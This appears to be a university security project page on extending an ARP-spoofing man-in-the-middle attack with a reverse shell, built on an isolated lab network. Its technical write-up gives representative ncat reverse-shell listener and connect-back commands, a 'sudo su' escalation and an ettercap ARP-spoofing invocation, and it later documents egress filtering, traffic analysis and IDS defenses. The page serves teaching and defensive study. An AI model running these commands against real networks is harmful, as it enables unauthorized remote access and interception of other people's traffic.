Extending MiTM via reverse shells

With Deecon Precht · Information Security · Jul 2024

A local ARP-spoofing man-in-the-middle attack is confined to one network segment. This work, built with Deecon Precht on an isolated private network, shows how a reverse shell extends that reach past the segment it started on, and documents the traffic monitoring, firewall, and intrusion-detection measures that catch and stop it.

Jump to the timeline
2
Person team, with Deecon Precht
7
Tools used: Ettercap, NMap (which bundles netcat), MSFVenom or a scripted payload, SSH, TCPDump, Wireshark
4
Detections documented for the reverse shell: traffic analysis, firewall egress rules, endpoint protection, and IDS/IPS
3
Devices on the isolated lab network: victim, router, and attacker

Attack-and-defense security research

Two-person Information Security research at Indiana University Southeast. It shows how a reverse shell turns a local ARP-spoofing attack into one that can reach past its own network, run entirely on an isolated private network, and covers the monitoring, firewall, and intrusion-detection work that defends against it.

Important

This work was built and run entirely on an isolated private lab network, with every device and address controlled by its own two authors. Reproducing it, the ARP spoofing and the reverse shell alike, against a network or device without the owner's explicit authorization is a federal crime under 18 U.S.C. § 1030 of the Computer Fraud and Abuse Act, and under similar state and international law.

Why it exists

Built with Deecon Precht on a private lab network we controlled end to end. A victim host, a router, and an attacker host, all on addresses we assigned ourselves.

A man-in-the-middle, or MiTM, attack is a third party sitting between two devices that believe they are talking directly to each other, able to read or change the traffic passing between them. That attack is normally stuck on one local network. The question was simple: could it be made to reach further, and what would actually catch it if it did.

Every device on a network answers to two addresses: an IP address, like a street address, and a MAC address, a fixed serial number built into its network hardware. ARP, the Address Resolution Protocol, is how a device finds the MAC address that goes with an IP address. It is the equivalent of calling out "who is at number 12" and trusting whoever answers back.

ARP spoofing abuses that trust. The attacker answers on another device's behalf, claiming its own MAC address belongs to the victim or the router, so traffic meant for one of them is sent to the attacker instead. This only works locally, on the same network segment as the devices being fooled, which is exactly the reach this work set out to extend.

ARP spoofing redirects the victim's traffic through the attacker The victim and the router each send the attacker their real traffic, believing they are talking to each other. The attacker keeps that up by sending each of them a forged ARP reply that names the attacker's own MAC address as the other device's. Victim 192.168.1.50 Router 192.168.1.1 Attacker (MiTM) 192.168.1.76
  • Victim → attacker: the victim's real traffic
  • Attacker → victim: forged ARP reply
  • Attacker → router: forwarded on to its real destination
  • Attacker → router: forged ARP reply
Redrawn from the report.

That locality is not a policy choice, it is the protocol itself. ARP operates at Layer 2 of the OSI model, the Data Link Layer, which only exists within one network segment. A router bridges separate segments at Layer 3 and does not forward ARP traffic between them, so a forged ARP reply simply stops at the router's edge. Spoofing it only ever works within earshot.

A reverse shell is not a Layer 2 trick. It is an ordinary Layer 3/4 connection, the kind a router forwards without a second thought. Once it gives the attacker a foothold on a device, that device becomes the new vantage point: whatever network segment it later joins, the same local ARP spoofing can be run again from there. The attacker hops segment to segment with the compromised device rather than ever actually breaking Layer 2's reach.

ARP stays inside one segment; a routed connection does not ARP spoofing operates at Layer 2 of the OSI model and never crosses a router into another network segment. A reverse shell is an ordinary Layer 3/4 connection, the kind a router forwards normally, so it can reach the attacker from any segment the compromised device later joins. This network segment ARP spoofing happens here A different network reached only by routing router: Layer 2 stops here
  • ARP spoofing: Layer 2 only, stays inside this segment
  • Reverse shell: an ordinary Layer 3/4 connection, crosses like any routed traffic
Why the attack needed a reverse shell to go anywhere past its own segment.

Setting up and watching the lab, in plain terms

Three ordinary machines, not three mysteries. The whole lab was a handful of devices talking to each other and to one shared router, the same shape as a home Wi-Fi network. None of it touched the public internet.

Setting up the network. Every device got its own private address, the network equivalent of a house number on a street nobody outside the lab could even see.

One piece of router configuration, called port forwarding, told the router to send anything addressed to one specific door straight through to one device. It works like a receptionist with standing instructions to connect anyone who asks for a certain extension directly to one particular desk, instead of asking every caller who they are trying to reach. The lab opened two doors this way: one for the reverse shell, and one for the SSH connection used later to retrieve the capture file.

Port forwarding sends one door straight to one device The router is set up so a request addressed to one specific port is sent straight through to a single device inside the lab. A request for any other port is not forwarded and goes nowhere. Outside request door 4444 Router 192.168.1.1 One device 192.168.1.50
  • A request for the open door
  • Forwarded straight through to the one device
  • A request for any other door: goes nowhere
How the lab's port forwarding was set up.

Scouting the network, or "reconnaissance." Security personnel call looking around before acting reconnaissance, "recon" for short. It just means finding out what is there before touching anything.

A tool called Nmap asked every address on the lab's little street, in turn, whether anyone was home and what they were running, and noted who answered. It is the digital version of walking a block, reading the house numbers, and noting which porch lights are on, all without knocking on a single door.

Scanning the lab finds what is there before anything else happens A scanning tool asks every address on the lab's private range whether a device is present. Addresses that answer are noted; addresses that do not answer are skipped. Scanner asking Address .50 answers Address .90 no answer
  • Asks each address in turn
  • A device that is there answers
  • No answer: nothing at that address
How the devices in the lab were found before any interception began.

nmap · lab address range

$ nmap -sn 192.168.1.0/24

The ping-scan syntax from the report's own reconnaissance step: one request to each address in the range, nothing more.

Watching the traffic, or "network analysis." To prove the interception actually happened, rather than just assume it did, every piece of data moving through the lab was recorded with a tool called tcpdump, roughly a dashboard camera that records everything passing on a stretch of road.

That recording was played back afterward in Wireshark, filtered down by protocol to just the ARP traffic, the way you would skip straight to the few minutes of footage that actually show the car you are interested in. The recording, not just the attack appearing to work, is what confirmed the forged replies really arrived.

Capturing the traffic is what proves an attack worked Every packet crossing the lab network is recorded as it happens, then reviewed afterward to confirm the interception actually took place rather than assuming it did. Live traffic on the lab tcpdump recording Wireshark played back
  • Every packet recorded as it crosses the lab
  • Reviewed afterward to confirm what happened
How the interception was recorded and verified.

The recording had to reach the analysis machine before anyone could look at it, so it travelled over the second forwarded door: the SSH connection, the same encrypted channel used for a secure remote login, copied across with scp rather than emailed or carried over on a drive.

representative syntax, from the report

$ tcpdump -i wlan0 -w capture.pcap
$ scp kali@192.168.1.50:~/capture.pcap ./capture.pcap

The capture command and the file transfer, written the way the report gives them; not output captured from an actual run.

Run the security lab

The security-features build of the Flinstone kernel lab runs below as a guest window. It adds the netlab simulation: fabricated pods, a listener and accept binding, and a disposable sandbox for the reverse shell. The simulation runs in memory against fabricated hosts.

Known limitation: the lab needs cross-origin isolation. If the window reports that it could not attach, open the security lab on its own page once and come back. The window has a reload button for exactly this.

Watch the demo

Video demo of the Flinstone lab of MitM + RS using pre-populated data.
How to run the lab
  1. Wait for the window above to attach. The panel's buttons turn on once the shell is ready. If it reports that it could not attach, use the reload button in the window.
  2. Under Network segment, pick redteam-lab or blueteam-lab. The recon buttons act on that fabricated network.
  3. Under Pod, keep the name redcell or type your own, then press Create pod. You become its first member.
  4. To add a second member, open a second session as another account in the Users and sessions panel, then press Join pod (as me) in that session.
  5. Under Reverse shell, press Listen (attacker) in one session. In the other member's session, press Accept (victim). A member cannot accept their own listener.
  6. While the binding is open, type netlab <cmd> in the terminal. It runs in a disposable sandbox labeled for the victim, never the victim's real account, files, or terminal.
  7. Accepting isolates the lab from the real network, as Start demo (isolate) does. Press End binding from either session to close it. That restores the network, as Stop demo (resume real net) does.
netlab command reference 
netlab consent

The lab boundary: a fabricated topology, with no real network.

netlab pods

List the simulated pods.

netlab hosts <pod>

The pod's fabricated host table: SSID, IP, MAC, and role.

netlab scan <pod>

Host discovery: which hosts answer, with their MACs.

netlab wpa <pod>

The pod access point's simulated security and PSK.

netlab topology <pod>

An ASCII map of the pod.

netlab traceroute <pod> <dst>

The simulated hop path to a host in the pod.

netlab monitor <pod>

Replay the pod's simulated frame script.

netlab arp-demo <pod>

Walk through how an ARP-spoofing MiTM works.

netlab capture <pod>

Print the simulated frames and raise the ARP-conflict alert.

netlab rs-explain

Explain reverse-shell mechanics, with no injection.

netlab defend

The detection and prevention checklist.

netlab pod create|join|members|host|leave

Pod membership, keyed on your real account.

netlab listen [cancel]

Open, or cancel, a listener: the attacker side.

netlab accept

Accept the open listener: the victim side.

netlab <cmd>

While a binding is open, runs in the sandbox.

netlab end

Close the binding, from either side.

netlab start | stop

Isolate the real network for the demo, or restore it.

netlab status

Pod, host, binding, and network mode.

Transcribed from the security build's own netlab help and the verbs it accepts. Inside a binding, the sandbox answers whoami, hostname, uname, pwd, ifconfig, netstat, ls, write, cat, and rm. Any other command reports that it ran in the sandbox; its output is not modeled. The hosted shell's file-based pcap commands are not part of this build.

Read the technical write-up

Extending the attack

A reverse shell flips the usual connection. Instead of an attacker connecting in to a target, the target machine opens an outbound connection back out to the attacker.

That one flip is what makes the extension possible. Outbound connections are what most firewalls are configured to allow, so a reverse shell tends to cross boundaries an inbound connection would not. It also survives a victim whose address changes, since the victim is the one reaching out to a fixed point rather than the other way around.

Getting that shell open still takes a first step somewhere else: a payload has to reach the victim's machine, commonly through phishing, an existing vulnerability, or social engineering, and then actually be run before any of what follows can happen.

Once that shell is open, the attacker is no longer limited to commands run from their own machine. They are running commands as the compromised device, on whatever network segments that device can reach.

A reverse shell crosses the firewall an inbound connection could not A firewall configured to block inbound connections still allows the victim's own outbound connection out. A reverse shell uses that outbound connection, so the attacker's commands travel over a channel the victim opened. Victim behind the firewall Attacker listening firewall
  • Inbound connection: blocked at the firewall
  • Outbound reverse shell: allowed, then carries the attacker's commands
Redrawn from the report. The attacker's own inbound attempt is stopped at the firewall; the victim's outbound connection is not.

That is the actual finding. A device compromised by a reverse shell can be made to carry out ARP spoofing of its own, against other devices on networks it connects to later. The initial, local attack effectively travels with the compromised device rather than staying put.

Ettercap did the ARP spoofing and MiTM interception. Netcat, which Kali packages alongside NMap rather than as its own install, run as ncat rather than nc for cross-platform compatibility, opened the reverse shell. MSFVenom generated the payload that triggers it, though a short script using a programming language's own networking libraries works the same way.

MSFVenom's payloads were not reliable in our testing, which is worth noting on its own. A textbook tool chain does not always behave like the textbook.

representative syntax, from the report

# Attacker: listen for the victim's connection
$ ncat -nlvp 4444 -e /bin/bash

# Victim: connect back out to the attacker
$ ncat 192.168.1.76 4444 -e /bin/bash

# Inside the shell: a regular account, then root
$ whoami
$ sudo su
$ whoami

# Ettercap, run from the now-compromised device
$ ettercap -T -S -i wlan0 -M arp:remote \
    /192.168.1.1// /192.168.1.50//

The listener, the connect-back, the privilege escalation that most of the rest needs, and the Ettercap invocation, written the way the report gives them; not output captured from an actual run.

We used tcpdump to capture the attack traffic and Wireshark to read it back afterward, which is how the interception was actually verified rather than assumed.

The commands above are representative syntax, not a copy-paste reproduction. The report's own version ties each one to this lab's specific devices and adds a step that pulls a saved Wi-Fi password out of the victim's own network configuration; that step, and the full tied-together sequence, stay out of this page and are available on request instead.

Read the prevention strategies

Detection and prevention

Every attack here has a defense documented beside it, because the point was to understand both sides.

Against ARP spoofing: strong, unique device and account passwords; WPA2/WPA3 encryption on Wi-Fi networks; minimizing broadcasted handshake traffic; and restricting port forwarding to what is actually needed, since an open port is an open door regardless of what else is secured.

Against the reverse shell: traffic analysis for unusual outbound connections to unfamiliar hosts or ports; firewall rules that restrict outbound traffic rather than only inbound; endpoint protection that can recognize and block a reverse shell payload before it runs; and an intrusion detection system to flag the pattern even when the payload itself is novel.

Traffic monitoring flags connections that do not belong Network traffic passes a monitoring point. Traffic to a known, expected destination continues normally. Traffic to an unfamiliar host or port, the pattern a reverse shell produces, is flagged and blocked instead of being left to leave the network. Device on the network Monitoring traffic analysis / IDS Expected known destination Unfamiliar unknown host or port
  • Ordinary traffic: reaches its expected destination
  • Unusual outbound traffic: flagged, then blocked rather than left to leave
What traffic analysis and an intrusion detection system are watching for.
Minimal open ports and outbound rules close the door the attack used A firewall with egress rules restricts outbound connections the same way it restricts inbound ones, and port forwarding is limited to the ports a device actually needs, so neither the reverse shell's outbound connection nor an unnecessary open port has anywhere to go. Device on the network Firewall egress rules,minimal ports Needed the few ports in use Everything else in or out
  • Only the ports a device actually needs are forwarded or allowed out
  • Every other port, inbound or outbound, is closed by default
Egress filtering closes the same outbound path the reverse shell relied on.

Network-wide, the same monitoring and firewall discipline is reinforced by DNSSEC against DNS spoofing, key-based SSH authentication in place of passwords with brute-force protection such as fail2ban behind it, systems kept patched against known vulnerabilities, and routine scanning for the kind of remote-access trojans a reverse shell is a form of. None of these measures requires knowing an attack is coming; they are what makes an attack visible, or impossible, if one does.